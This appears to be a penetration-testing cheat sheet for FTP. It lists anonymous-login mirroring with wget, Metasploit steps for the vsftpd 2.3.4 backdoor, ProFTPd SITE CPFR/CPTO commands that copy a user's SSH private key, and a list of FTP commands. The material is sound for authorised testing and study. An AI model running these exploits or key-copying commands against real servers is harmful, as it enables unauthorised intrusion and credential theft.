21 - Pentesting ftp
FTP stands for "File Transfer Protocol". It's a standard network protocol used for transferring files from one host to another over a TCP-based network, such as the Internet. FTP is commonly used for uploading and downloading files from websites, servers, and other computers.
nmap
anonymous login
wget download directory
wget -r ftp://anonymous@$IP/Logs # download directory
wget -m ftp://anonymous:anonymous@$IP # donwload all
wget -m --no-passive ftp://anonymous:anonymous@$IP # download all
exploit
proFtpd 1.3.5
vsFtpd 2.3.4
msf> use exploit/unix/ftp/vsftpd\_234\_backdoor
msf> show options
msf> set RHOST 192.168.0.101
msf> show options
msf> exploit
commands
SITE CPFR /home/{TARGT_USER}/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
SITE CPFR /home/{TARGT_USER}/.ssh/id_rsa.pub
SITE CPTO /var/tmp/id_rsa.pub
USER username
PASS password
HELP
The server indicates which commands are supportedLIST
This will send the list of files in current folderLIST -R
List recursively (if allowed by the server)APPE /path/something.txt
This will indicate the FTP to store the data received from a passive connection or from a PORT/EPRT connection to a file. If the filename exists, it will append the data.STOR /path/something.txt
LikeAPPE
but it will overwrite the filesSTOU /path/something.txt
LikeAPPE
, but if exists it won't do anything.RETR /path/to/file
A passive or a port connection must be establish. Then, the FTP server will send the indicated file through that connectionREST 6
This will indicate the server that next time it send something using RETR it should start in the 6th byte.TYPE i
Set transfer to binaryPASV
This will open a passive connection and will indicate the user were he can connectsPUT /tmp/file.txt
Upload indicated file to the FTP